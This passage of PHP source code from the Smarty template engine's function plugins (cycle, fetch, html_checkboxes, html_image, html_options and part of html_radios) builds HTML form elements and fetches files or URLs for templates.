 * - advance   - boolean - whether or not to advance the cycle
 * - delimiter - the value delimiter, default is ","
 * - assign    - boolean, assigns to template var instead of printed.
 *
 * Examples:
 *
 * {cycle values="#eeeeee,#d0d0d0d"}
 * {cycle name=row values="one,two,three" reset=true}
 * {cycle name=row}
 *
 * @link    https://www.smarty.net/manual/en/language.function.cycle.php {cycle}
 *           (Smarty online manual)
 * @author  Monte Ohrt <monte at ohrt dot com>
 * @author  credit to Mark Priatel <mpriatel@rogers.com>
 * @author  credit to Gerard <gerard@interfold.com>
 * @author  credit to Jason Sweat <jsweat_php@yahoo.com>
 * @version 1.3
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string|null
 */
function smarty_function_cycle($params, $template)
{
    static $cycle_vars;
    $name = (empty($params[ 'name' ])) ? 'default' : $params[ 'name' ];
    $print = (isset($params[ 'print' ])) ? (bool)$params[ 'print' ] : true;
    $advance = (isset($params[ 'advance' ])) ? (bool)$params[ 'advance' ] : true;
    $reset = (isset($params[ 'reset' ])) ? (bool)$params[ 'reset' ] : false;
    if (!isset($params[ 'values' ])) {
        if (!isset($cycle_vars[ $name ][ 'values' ])) {
            trigger_error('cycle: missing \'values\' parameter');
            return;
        }
    } else {
        if (isset($cycle_vars[ $name ][ 'values' ]) && $cycle_vars[ $name ][ 'values' ] !== $params[ 'values' ]) {
            $cycle_vars[ $name ][ 'index' ] = 0;
        }
        $cycle_vars[ $name ][ 'values' ] = $params[ 'values' ];
    }
    if (isset($params[ 'delimiter' ])) {
        $cycle_vars[ $name ][ 'delimiter' ] = $params[ 'delimiter' ];
    } elseif (!isset($cycle_vars[ $name ][ 'delimiter' ])) {
        $cycle_vars[ $name ][ 'delimiter' ] = ',';
    }
    if (is_array($cycle_vars[ $name ][ 'values' ])) {
        $cycle_array = $cycle_vars[ $name ][ 'values' ];
    } else {
        $cycle_array = explode($cycle_vars[ $name ][ 'delimiter' ], $cycle_vars[ $name ][ 'values' ]);
    }
    if (!isset($cycle_vars[ $name ][ 'index' ]) || $reset) {
        $cycle_vars[ $name ][ 'index' ] = 0;
    }
    if (isset($params[ 'assign' ])) {
        $print = false;
        $template->assign($params[ 'assign' ], $cycle_array[ $cycle_vars[ $name ][ 'index' ] ]);
    }
    if ($print) {
        $retval = $cycle_array[ $cycle_vars[ $name ][ 'index' ] ];
    } else {
        $retval = null;
    }
    if ($advance) {
        if ($cycle_vars[ $name ][ 'index' ] >= count($cycle_array) - 1) {
            $cycle_vars[ $name ][ 'index' ] = 0;
        } else {
            $cycle_vars[ $name ][ 'index' ]++;
        }
    }
    return $retval;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {fetch} plugin
 * Type:     function
 * Name:     fetch
 * Purpose:  fetch file, web or ftp data and display results
 *
 * @link   https://www.smarty.net/manual/en/language.function.fetch.php {fetch}
 *         (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @throws SmartyException
 * @return string|null if the assign parameter is passed, Smarty assigns the result to a template variable
 */
function smarty_function_fetch($params, $template)
{
    if (empty($params[ 'file' ])) {
        trigger_error('[plugin] fetch parameter \'file\' cannot be empty', E_USER_NOTICE);
        return;
    }
    // strip file protocol
    if (stripos($params[ 'file' ], 'file://') === 0) {
        $params[ 'file' ] = substr($params[ 'file' ], 7);
    }
    $protocol = strpos($params[ 'file' ], '://');
    if ($protocol !== false) {
        $protocol = strtolower(substr($params[ 'file' ], 0, $protocol));
    }
    if (isset($template->smarty->security_policy)) {
        if ($protocol) {
            // remote resource (or php stream, …)
            if (!$template->smarty->security_policy->isTrustedUri($params[ 'file' ])) {
                return;
            }
        } else {
            // local file
            if (!$template->smarty->security_policy->isTrustedResourceDir($params[ 'file' ])) {
                return;
            }
        }
    }
    $content = '';
    if ($protocol === 'http') {
        // http fetch
        if ($uri_parts = parse_url($params[ 'file' ])) {
            // set defaults
            $host = $server_name = $uri_parts[ 'host' ];
            $timeout = 30;
            $accept = 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*';
            $agent = 'Smarty Template Engine ' . Smarty::SMARTY_VERSION;
            $referer = '';
            $uri = !empty($uri_parts[ 'path' ]) ? $uri_parts[ 'path' ] : '/';
            $uri .= !empty($uri_parts[ 'query' ]) ? '?' . $uri_parts[ 'query' ] : '';
            $_is_proxy = false;
            if (empty($uri_parts[ 'port' ])) {
                $port = 80;
            } else {
                $port = $uri_parts[ 'port' ];
            }
            if (!empty($uri_parts[ 'user' ])) {
                $user = $uri_parts[ 'user' ];
            }
            if (!empty($uri_parts[ 'pass' ])) {
                $pass = $uri_parts[ 'pass' ];
            }
            // loop through parameters, setup headers
            foreach ($params as $param_key => $param_value) {
                switch ($param_key) {
                    case 'file':
                    case 'assign':
                    case 'assign_headers':
                        break;
                    case 'user':
                        if (!empty($param_value)) {
                            $user = $param_value;
                        }
                        break;
                    case 'pass':
                        if (!empty($param_value)) {
                            $pass = $param_value;
                        }
                        break;
                    case 'accept':
                        if (!empty($param_value)) {
                            $accept = $param_value;
                        }
                        break;
                    case 'header':
                        if (!empty($param_value)) {
                            if (!preg_match('![\w\d-]+: .+!', $param_value)) {
                                trigger_error("[plugin] invalid header format '{$param_value}'", E_USER_NOTICE);
                                return;
                            } else {
                                $extra_headers[] = $param_value;
                            }
                        }
                        break;
                    case 'proxy_host':
                        if (!empty($param_value)) {
                            $proxy_host = $param_value;
                        }
                        break;
                    case 'proxy_port':
                        if (!preg_match('!\D!', $param_value)) {
                            $proxy_port = (int)$param_value;
                        } else {
                            trigger_error("[plugin] invalid value for attribute '{$param_key }'", E_USER_NOTICE);
                            return;
                        }
                        break;
                    case 'agent':
                        if (!empty($param_value)) {
                            $agent = $param_value;
                        }
                        break;
                    case 'referer':
                        if (!empty($param_value)) {
                            $referer = $param_value;
                        }
                        break;
                    case 'timeout':
                        if (!preg_match('!\D!', $param_value)) {
                            $timeout = (int)$param_value;
                        } else {
                            trigger_error("[plugin] invalid value for attribute '{$param_key}'", E_USER_NOTICE);
                            return;
                        }
                        break;
                    default:
                        trigger_error("[plugin] unrecognized attribute '{$param_key}'", E_USER_NOTICE);
                        return;
                }
            }
            if (!empty($proxy_host) && !empty($proxy_port)) {
                $_is_proxy = true;
                $fp = fsockopen($proxy_host, $proxy_port, $errno, $errstr, $timeout);
            } else {
                $fp = fsockopen($server_name, $port, $errno, $errstr, $timeout);
            }
            if (!$fp) {
                trigger_error("[plugin] unable to fetch: $errstr ($errno)", E_USER_NOTICE);
                return;
            } else {
                if ($_is_proxy) {
                    fputs($fp, 'GET ' . $params[ 'file' ] . " HTTP/1.0\r\n");
                } else {
                    fputs($fp, "GET $uri HTTP/1.0\r\n");
                }
                if (!empty($host)) {
                    fputs($fp, "Host: $host\r\n");
                }
                if (!empty($accept)) {
                    fputs($fp, "Accept: $accept\r\n");
                }
                if (!empty($agent)) {
                    fputs($fp, "User-Agent: $agent\r\n");
                }
                if (!empty($referer)) {
                    fputs($fp, "Referer: $referer\r\n");
                }
                if (isset($extra_headers) && is_array($extra_headers)) {
                    foreach ($extra_headers as $curr_header) {
                        fputs($fp, $curr_header . "\r\n");
                    }
                }
                if (!empty($user) && !empty($pass)) {
                    fputs($fp, 'Authorization: BASIC ' . base64_encode("$user:$pass") . "\r\n");
                }
                fputs($fp, "\r\n");
                while (!feof($fp)) {
                    $content .= fgets($fp, 4096);
                }
                fclose($fp);
                $csplit = preg_split("!\r\n\r\n!", $content, 2);
                $content = $csplit[ 1 ];
                if (!empty($params[ 'assign_headers' ])) {
                    $template->assign($params[ 'assign_headers' ], preg_split("!\r\n!", $csplit[ 0 ]));
                }
            }
        } else {
            trigger_error("[plugin fetch] unable to parse URL, check syntax", E_USER_NOTICE);
            return;
        }
    } else {
        $content = @file_get_contents($params[ 'file' ]);
        if ($content === false) {
            throw new SmartyException("{fetch} cannot read resource '" . $params[ 'file' ] . "'");
        }
    }
    if (!empty($params[ 'assign' ])) {
        $template->assign($params[ 'assign' ], $content);
    } else {
        return $content;
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_checkboxes} function plugin
 * File:       function.html_checkboxes.php
 * Type:       function
 * Name:       html_checkboxes
 * Date:       24.Feb.2003
 * Purpose:    Prints out a list of checkbox input types
 * Examples:
 *
 * {html_checkboxes values=$ids output=$names}
 * {html_checkboxes values=$ids name='box' separator='<br>' output=$names}
 * {html_checkboxes values=$ids checked=$checked separator='<br>' output=$names}
 *
 * Params:
 *
 * - name       (optional) - string default "checkbox"
 * - values     (required) - array
 * - options    (optional) - associative array
 * - checked    (optional) - array default not set
 * - separator  (optional) - ie <br> or &nbsp;
 * - output     (optional) - the output next to each checkbox
 * - assign     (optional) - assign the output as an array to this variable
 * - escape     (optional) - escape the content (not value), defaults to true
 *
 * @link    https://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes}
 *             (Smarty online manual)
 * @author  Christopher Kvarme <christopher.kvarme@flashjab.com>
 * @author  credits to Monte Ohrt <monte at ohrt dot com>
 * @version 1.0
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string
 * @uses    smarty_function_escape_special_chars()
 * @throws \SmartyException
 */
function smarty_function_html_checkboxes($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    $name = 'checkbox';
    $values = null;
    $options = null;
    $selected = array();
    $separator = '';
    $escape = true;
    $labels = true;
    $label_ids = false;
    $output = null;
    $extra = '';
    foreach ($params as $_key => $_val) {
        switch ($_key) {
            case 'name':
            case 'separator':
                $$_key = (string)$_val;
                break;
            case 'escape':
            case 'labels':
            case 'label_ids':
                $$_key = (bool)$_val;
                break;
            case 'options':
                $$_key = (array)$_val;
                break;
            case 'values':
            case 'output':
                $$_key = array_values((array)$_val);
                break;
            case 'checked':
            case 'selected':
                if (is_array($_val)) {
                    $selected = array();
                    foreach ($_val as $_sel) {
                        if (is_object($_sel)) {
                            if (method_exists($_sel, '__toString')) {
                                $_sel = smarty_function_escape_special_chars((string)$_sel->__toString());
                            } else {
                                trigger_error(
                                    'html_checkboxes: selected attribute contains an object of class \'' .
                                    get_class($_sel) . '\' without __toString() method',
                                    E_USER_NOTICE
                                );
                                continue;
                            }
                        } else {
                            $_sel = smarty_function_escape_special_chars((string)$_sel);
                        }
                        $selected[ $_sel ] = true;
                    }
                } elseif (is_object($_val)) {
                    if (method_exists($_val, '__toString')) {
                        $selected = smarty_function_escape_special_chars((string)$_val->__toString());
                    } else {
                        trigger_error(
                            'html_checkboxes: selected attribute is an object of class \'' . get_class($_val) .
                            '\' without __toString() method',
                            E_USER_NOTICE
                        );
                    }
                } else {
                    $selected = smarty_function_escape_special_chars((string)$_val);
                }
                break;
            case 'checkboxes':
                trigger_error(
                    'html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead',
                    E_USER_WARNING
                );
                $options = (array)$_val;
                break;
            case 'assign':
                break;
            case 'strict':
                break;
            case 'disabled':
            case 'readonly':
                if (!empty($params[ 'strict' ])) {
                    if (!is_scalar($_val)) {
                        trigger_error(
                            "html_options: {$_key} attribute must be a scalar, only boolean true or string '{$_key}' will actually add the attribute",
                            E_USER_NOTICE
                        );
                    }
                    if ($_val === true || $_val === $_key) {
                        $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"';
                    }
                    break;
                }
            // omit break; to fall through!
            // no break
            default:
                if (!is_array($_val)) {
                    $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"';
                } else {
                    trigger_error("html_checkboxes: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE);
                }
                break;
        }
    }
    if (!isset($options) && !isset($values)) {
        return '';
    } /* raise error here? */
    $_html_result = array();
    if (isset($options)) {
        foreach ($options as $_key => $_val) {
            $_html_result[] =
                smarty_function_html_checkboxes_output(
                    $name,
                    $_key,
                    $_val,
                    $selected,
                    $extra,
                    $separator,
                    $labels,
                    $label_ids,
                    $escape
                );
        }
    } else {
        foreach ($values as $_i => $_key) {
            $_val = isset($output[ $_i ]) ? $output[ $_i ] : '';
            $_html_result[] =
                smarty_function_html_checkboxes_output(
                    $name,
                    $_key,
                    $_val,
                    $selected,
                    $extra,
                    $separator,
                    $labels,
                    $label_ids,
                    $escape
                );
        }
    }
    if (!empty($params[ 'assign' ])) {
        $template->assign($params[ 'assign' ], $_html_result);
    } else {
        return implode("\n", $_html_result);
    }
}

/**
 * @param      $name
 * @param      $value
 * @param      $output
 * @param      $selected
 * @param      $extra
 * @param      $separator
 * @param      $labels
 * @param      $label_ids
 * @param bool $escape
 *
 * @return string
 */
function smarty_function_html_checkboxes_output(
    $name,
    $value,
    $output,
    $selected,
    $extra,
    $separator,
    $labels,
    $label_ids,
    $escape = true
) {
    $_output = '';
    if (is_object($value)) {
        if (method_exists($value, '__toString')) {
            $value = (string)$value->__toString();
        } else {
            trigger_error(
                'html_options: value is an object of class \'' . get_class($value) .
                '\' without __toString() method',
                E_USER_NOTICE
            );
            return '';
        }
    } else {
        $value = (string)$value;
    }
    if (is_object($output)) {
        if (method_exists($output, '__toString')) {
            $output = (string)$output->__toString();
        } else {
            trigger_error(
                'html_options: output is an object of class \'' . get_class($output) .
                '\' without __toString() method',
                E_USER_NOTICE
            );
            return '';
        }
    } else {
        $output = (string)$output;
    }
    if ($labels) {
        if ($label_ids) {
            $_id = smarty_function_escape_special_chars(
                preg_replace(
                    '![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER,
                    '_',
                    $name . '_' . $value
                )
            );
            $_output .= '<label for="' . $_id . '">';
        } else {
            $_output .= '<label>';
        }
    }
    $name = smarty_function_escape_special_chars($name);
    $value = smarty_function_escape_special_chars($value);
    if ($escape) {
        $output = smarty_function_escape_special_chars($output);
    }
    $_output .= '<input type="checkbox" name="' . $name . '[]" value="' . $value . '"';
    if ($labels && $label_ids) {
        $_output .= ' id="' . $_id . '"';
    }
    if (is_array($selected)) {
        if (isset($selected[ $value ])) {
            $_output .= ' checked="checked"';
        }
    } elseif ($value === $selected) {
        $_output .= ' checked="checked"';
    }
    $_output .= $extra . ' />' . $output;
    if ($labels) {
        $_output .= '</label>';
    }
    $_output .= $separator;
    return $_output;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_image} function plugin
 * Type:     function
 * Name:     html_image
 * Date:     Feb 24, 2003
 * Purpose:  format HTML tags for the image
 * Examples: {html_image file="/images/masthead.gif"}
 * Output:   <img src="/images/masthead.gif" width=400 height=23>
 * Params:
 *
 * - file        - (required) - file (and path) of image
 * - height      - (optional) - image height (default actual height)
 * - width       - (optional) - image width (default actual width)
 * - basedir     - (optional) - base directory for absolute paths, default is environment variable DOCUMENT_ROOT
 * - path_prefix - prefix for path output (optional, default empty)
 *
 * @link    https://www.smarty.net/manual/en/language.function.html.image.php {html_image}
 *          (Smarty online manual)
 * @author  Monte Ohrt <monte at ohrt dot com>
 * @author  credits to Duda <duda@big.hu>
 * @version 1.0
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @throws SmartyException
 * @return string
 * @uses    smarty_function_escape_special_chars()
 */
function smarty_function_html_image($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    $alt = '';
    $file = '';
    $height = '';
    $width = '';
    $extra = '';
    $prefix = '';
    $suffix = '';
    $path_prefix = '';
    $basedir = isset($_SERVER[ 'DOCUMENT_ROOT' ]) ? $_SERVER[ 'DOCUMENT_ROOT' ] : '';
    foreach ($params as $_key => $_val) {
        switch ($_key) {
            case 'file':
            case 'height':
            case 'width':
            case 'dpi':
            case 'path_prefix':
            case 'basedir':
                $$_key = $_val;
                break;
            case 'alt':
                if (!is_array($_val)) {
                    $$_key = smarty_function_escape_special_chars($_val);
                } else {
                    throw new SmartyException(
                        "html_image: extra attribute '{$_key}' cannot be an array",
                        E_USER_NOTICE
                    );
                }
                break;
            case 'link':
            case 'href':
                $prefix = '<a href="' . $_val . '">';
                $suffix = '</a>';
                break;
            default:
                if (!is_array($_val)) {
                    $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"';
                } else {
                    throw new SmartyException(
                        "html_image: extra attribute '{$_key}' cannot be an array",
                        E_USER_NOTICE
                    );
                }
                break;
        }
    }
    if (empty($file)) {
        trigger_error('html_image: missing \'file\' parameter', E_USER_NOTICE);
        return;
    }
    if ($file[ 0 ] === '/') {
        $_image_path = $basedir . $file;
    } else {
        $_image_path = $file;
    }
    // strip file protocol
    if (stripos($params[ 'file' ], 'file://') === 0) {
        $params[ 'file' ] = substr($params[ 'file' ], 7);
    }
    $protocol = strpos($params[ 'file' ], '://');
    if ($protocol !== false) {
        $protocol = strtolower(substr($params[ 'file' ], 0, $protocol));
    }
    if (isset($template->smarty->security_policy)) {
        if ($protocol) {
            // remote resource (or php stream, …)
            if (!$template->smarty->security_policy->isTrustedUri($params[ 'file' ])) {
                return;
            }
        } else {
            // local file
            if (!$template->smarty->security_policy->isTrustedResourceDir($_image_path)) {
                return;
            }
        }
    }
    if (!isset($params[ 'width' ]) || !isset($params[ 'height' ])) {
        // FIXME: (rodneyrehm) getimagesize() loads the complete file off a remote resource, use custom [jpg,png,gif]header reader!
        if (!$_image_data = @getimagesize($_image_path)) {
            if (!file_exists($_image_path)) {
                trigger_error("html_image: unable to find '{$_image_path}'", E_USER_NOTICE);
                return;
            } elseif (!is_readable($_image_path)) {
                trigger_error("html_image: unable to read '{$_image_path}'", E_USER_NOTICE);
                return;
            } else {
                trigger_error("html_image: '{$_image_path}' is not a valid image file", E_USER_NOTICE);
                return;
            }
        }
        if (!isset($params[ 'width' ])) {
            $width = $_image_data[ 0 ];
        }
        if (!isset($params[ 'height' ])) {
            $height = $_image_data[ 1 ];
        }
    }
    if (isset($params[ 'dpi' ])) {
        if (strstr($_SERVER[ 'HTTP_USER_AGENT' ], 'Mac')) {
            // FIXME: (rodneyrehm) wrong dpi assumption
            // don't know who thought this up… even if it was true in 1998, it's definitely wrong in 2011.
            $dpi_default = 72;
        } else {
            $dpi_default = 96;
        }
        $_resize = $dpi_default / $params[ 'dpi' ];
        $width = round($width * $_resize);
        $height = round($height * $_resize);
    }
    return $prefix . '<img src="' . $path_prefix . $file . '" alt="' . $alt . '" width="' . $width . '" height="' .
           $height . '"' . $extra . ' />' . $suffix;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_options} function plugin
 * Type:     function
 * Name:     html_options
 * Purpose:  Prints the list of <option> tags generated from
 *           the passed parameters
 * Params:
 *
 * - name       (optional) - string default "select"
 * - values     (required) - if no options supplied) - array
 * - options    (required) - if no values supplied) - associative array
 * - selected   (optional) - string default not set
 * - output     (required) - if not options supplied) - array
 * - id         (optional) - string default not set
 * - class      (optional) - string default not set
 *
 * @link   https://www.smarty.net/manual/en/language.function.html.options.php {html_image}
 *           (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 * @author Ralf Strehle (minor optimization) <ralf dot strehle at yahoo dot de>
 *
 * @param array                     $params parameters
 *
 * @param \Smarty_Internal_Template $template
 *
 * @return string
 * @uses   smarty_function_escape_special_chars()
 * @throws \SmartyException
 */
function smarty_function_html_options($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    $name = null;
    $values = null;
    $options = null;
    $selected = null;
    $output = null;
    $id = null;
    $class = null;
    $extra = '';
    foreach ($params as $_key => $_val) {
        switch ($_key) {
            case 'name':
            case 'class':
            case 'id':
                $$_key = (string)$_val;
                break;
            case 'options':
                $options = (array)$_val;
                break;
            case 'values':
            case 'output':
                $$_key = array_values((array)$_val);
                break;
            case 'selected':
                if (is_array($_val)) {
                    $selected = array();
                    foreach ($_val as $_sel) {
                        if (is_object($_sel)) {
                            if (method_exists($_sel, '__toString')) {
                                $_sel = smarty_function_escape_special_chars((string)$_sel->__toString());
                            } else {
                                trigger_error(
                                    'html_options: selected attribute contains an object of class \'' .
                                    get_class($_sel) . '\' without __toString() method',
                                    E_USER_NOTICE
                                );
                                continue;
                            }
                        } else {
                            $_sel = smarty_function_escape_special_chars((string)$_sel);
                        }
                        $selected[ $_sel ] = true;
                    }
                } elseif (is_object($_val)) {
                    if (method_exists($_val, '__toString')) {
                        $selected = smarty_function_escape_special_chars((string)$_val->__toString());
                    } else {
                        trigger_error(
                            'html_options: selected attribute is an object of class \'' . get_class($_val) .
                            '\' without __toString() method',
                            E_USER_NOTICE
                        );
                    }
                } else {
                    $selected = smarty_function_escape_special_chars((string)$_val);
                }
                break;
            case 'strict':
                break;
            case 'disabled':
            case 'readonly':
                if (!empty($params[ 'strict' ])) {
                    if (!is_scalar($_val)) {
                        trigger_error(
                            "html_options: {$_key} attribute must be a scalar, only boolean true or string '{$_key}' will actually add the attribute",
                            E_USER_NOTICE
                        );
                    }
                    if ($_val === true || $_val === $_key) {
                        $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"';
                    }
                    break;
                }
            // omit break; to fall through!
            // no break
            default:
                if (!is_array($_val)) {
                    $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"';
                } else {
                    trigger_error("html_options: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE);
                }
                break;
        }
    }
    if (!isset($options) && !isset($values)) {
        /* raise error here? */
        return '';
    }
    $_html_result = '';
    $_idx = 0;
    if (isset($options)) {
        foreach ($options as $_key => $_val) {
            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected, $id, $class, $_idx);
        }
    } else {
        foreach ($values as $_i => $_key) {
            $_val = isset($output[ $_i ]) ? $output[ $_i ] : '';
            $_html_result .= smarty_function_html_options_optoutput($_key, $_val, $selected, $id, $class, $_idx);
        }
    }
    if (!empty($name)) {
        $_html_class = !empty($class) ? ' class="' . $class . '"' : '';
        $_html_id = !empty($id) ? ' id="' . $id . '"' : '';
        $_html_result =
            '<select name="' . $name . '"' . $_html_class . $_html_id . $extra . '>' . "\n" . $_html_result .
            '</select>' . "\n";
    }
    return $_html_result;
}

/**
 * @param $key
 * @param $value
 * @param $selected
 * @param $id
 * @param $class
 * @param $idx
 *
 * @return string
 */
function smarty_function_html_options_optoutput($key, $value, $selected, $id, $class, &$idx)
{
    if (!is_array($value)) {
        $_key = smarty_function_escape_special_chars($key);
        $_html_result = '<option value="' . $_key . '"';
        if (is_array($selected)) {
            if (isset($selected[ $_key ])) {
                $_html_result .= ' selected="selected"';
            }
        } elseif ($_key === $selected) {
            $_html_result .= ' selected="selected"';
        }
        $_html_class = !empty($class) ? ' class="' . $class . ' option"' : '';
        $_html_id = !empty($id) ? ' id="' . $id . '-' . $idx . '"' : '';
        if (is_object($value)) {
            if (method_exists($value, '__toString')) {
                $value = smarty_function_escape_special_chars((string)$value->__toString());
            } else {
                trigger_error(
                    'html_options: value is an object of class \'' . get_class($value) .
                    '\' without __toString() method',
                    E_USER_NOTICE
                );
                return '';
            }
        } else {
            $value = smarty_function_escape_special_chars((string)$value);
        }
        $_html_result .= $_html_class . $_html_id . '>' . $value . '</option>' . "\n";
        $idx++;
    } else {
        $_idx = 0;
        $_html_result =
            smarty_function_html_options_optgroup(
                $key,
                $value,
                $selected,
                !empty($id) ? ($id . '-' . $idx) : null,
                $class,
                $_idx
            );
        $idx++;
    }
    return $_html_result;
}

/**
 * @param $key
 * @param $values
 * @param $selected
 * @param $id
 * @param $class
 * @param $idx
 *
 * @return string
 */
function smarty_function_html_options_optgroup($key, $values, $selected, $id, $class, &$idx)
{
    $optgroup_html = '<optgroup label="' . smarty_function_escape_special_chars($key) . '">' . "\n";
    foreach ($values as $key => $value) {
        $optgroup_html .= smarty_function_html_options_optoutput($key, $value, $selected, $id, $class, $idx);
    }
    $optgroup_html .= "</optgroup>\n";
    return $optgroup_html;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFunction
 */
/**
 * Smarty {html_radios} function plugin
 * File:       function.html_radios.php
 * Type:       function
 * Name:       html_radios
 * Date:       24.Feb.2003
 * Purpose:    Prints out a list of radio input types
 * Params:
 *
 * - name       (optional) - string default "radio"
 * - values     (required) - array
 * - options    (required) - associative array
 * - checked    (optional) - array default not set
 * - separator  (optional) - ie <br> or &nbsp;
 * - output     (optional) - the output next to each radio button
 * - assign     (optional) - assign the output as an array to this variable
 * - escape     (optional) - escape the content (not value), defaults to true
 *
 * Examples:
 *
 * {html_radios values=$ids output=$names}
 * {html_radios values=$ids name='box' separator='<br>' output=$names}
 * {html_radios values=$ids checked=$checked separator='<br>' output=$names}
 *
 * @link    https://www.smarty.net/manual/en/language.function.html.radios.php {html_radios}
 *          (Smarty online manual)
 * @author  Christopher Kvarme <christopher.kvarme@flashjab.com>
 * @author  credits to Monte Ohrt <monte at ohrt dot com>
 * @version 1.0
 *
 * @param array                    $params   parameters
 * @param Smarty_Internal_Template $template template object
 *
 * @return string
 * @uses    smarty_function_escape_special_chars()
 * @throws \SmartyException
 */
function smarty_function_html_radios($params, Smarty_Internal_Template $template)
{
    $template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_function_escape_special_chars',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'
            )
        )
    );
    $name = 'radio';
    $values = null;
    $options = null;
    $selected = null;
    $separator = '';
    $escape = true;
    $labels = true;
    $label_ids = false;
    $output = null;
    $extra = '';
    foreach ($params as $_key => $_val) {
        switch ($_key) {
            case 'name':
            case 'separator':
                $$_key = (string)$_val;
                break;
            case 'checked':
            case 'selected':
                if (is_array($_val)) {
                    trigger_error('html_radios: the "' . $_key . '" attribute cannot be an array', E_USER_WARNING);
                } elseif (is_object($_val)) {
                    if (method_exists($_val, '__toString')) {
                        $selected = smarty_function_escape_special_chars((string)$_val->__toString());
                    } else {
                        trigger_error(
                            'html_radios: selected attribute is an object of class \'' . get_class($_val) .
                            '\' without __toString() method',
                            E_USER_NOTICE
                        );
                    }
                } else {
                    $selected = (string)$_val;
                }
                break;
            case 'escape':
            case 'labels':
            case 'label_ids':
                $$_key = (bool)$_val;
                break;
            case 'options':
                $$_key = (array)$_val;
                break;
            case 'values':
            case 'output':
                $$_key = array_values((array)$_val);
                break;
            case 'radios':
                trigger_error(
                    'html_radios: the use of the "radios" attribute is deprecated, use "options" instead',
                    E_USER_WARNING
                );
                $options = (array)$_val;
                break;
            case 'assign':
                break;
            case 'strict':
                break;
            case 'disabled':
            case 'readonly':
                if (!empty($params[ 'strict' ])) {
                    if (!is_scalar($_val)) {
                        trigger_error(
                            "html_options: {$_key} attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute",
                            E_USER_NOTICE
                        );
                    }
                    if ($_val === true || $_val === $_key) {
                        $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"';
                    }
                    break;
                }
            // omit break; to fall through!
            // no break
            default:
                if (!is_array($_val)) {
                    $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"';
                } else {
                    trigger_error("html_radios: extra attribute '{$_key}' cannot be an array", E_USER_NOTICE);
                }
                break;
        }
    }
    if (!isset($options) && !isset($values)) {
        /* raise error here? */
        return '';
    }
    $_html_result = array();
    if (isset($options)) {
        foreach ($options as $_key => $_val) {
            $_html_result[] =
                smarty_function_html_radios_output(
                    $name,
                    $_key,
                    $_val,
                    $selected,
                    $extra,
                    $separator,
                    $labels,
                    $label_ids,
                    $escape
                );
        }
    } else {
        foreach ($values as $_i => $_key) {
            $_val = isset($output[ $_i ]) ? $output[ $_i ] : '';
            $_html_result[] =
                smarty_function_html_radios_output(
                    $name,
                    $_key,
                    $_val,
                    $selected,
                    $extra,
                    $separator,
                    $labels,
                    $label_ids,
                    $escape
                );
        }
    }
    if (!empty($params[ 'assign' ])) {
        $template->assign($params[ 'assign' ], $_html_result);
    } else {
        return implode("\n", $_html_result);
    }
}

/**
 * @param $name
 * @param $value
 * @param $output
 * @param $selected
 * @param $extra
 * @param $separator
 * @param $labels
 * @param $label_ids
 * @param $escape
 *
 * @return string
 */
function smarty_function_html_radios_output(
    $name,
    $value,
    $output,
    $selected,
    $extra,
    $separator,
    $labels,
    $label_ids,
    $escape
) {
    $_output = '';
    if (is_object($value)) {
        if (method_exists($value, '__toString')) {
            $value = (string)$value->__toString();
        } else {
            trigger_error(
                'html_options: value is an object of class \'' . get_class($value) .
                '\' without __toString() method',
                E_USER_NOTICE
            );
            return '';
        }
    } else {
        $value = (string)$value;
    }
    if (is_object($output)) {
        if (method_exists($output, '__toString')) {
            $output = (string)$output->__toString();
        } else {
            trigger_error(
                'html_options: output is an object of class \'' . get_class($output) .
                '\' without __toString() method',
                E_USER_NOTICE
            );
            return '';
        }
    } else {
        $output = (string)$output;
    }
    if ($labels) {
        if ($label_ids) {
            $_id = smarty_function_escape_special_chars(
                preg_replace(
                    '![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER,
                    '_',
                    $name . '_' . $value
                )
            );
            $_output .= '<label for="' . $_id . '">';
        } else {
            $_output .= '<label>';
        }
    }
    $name = smarty_function_escape_special_chars($name);
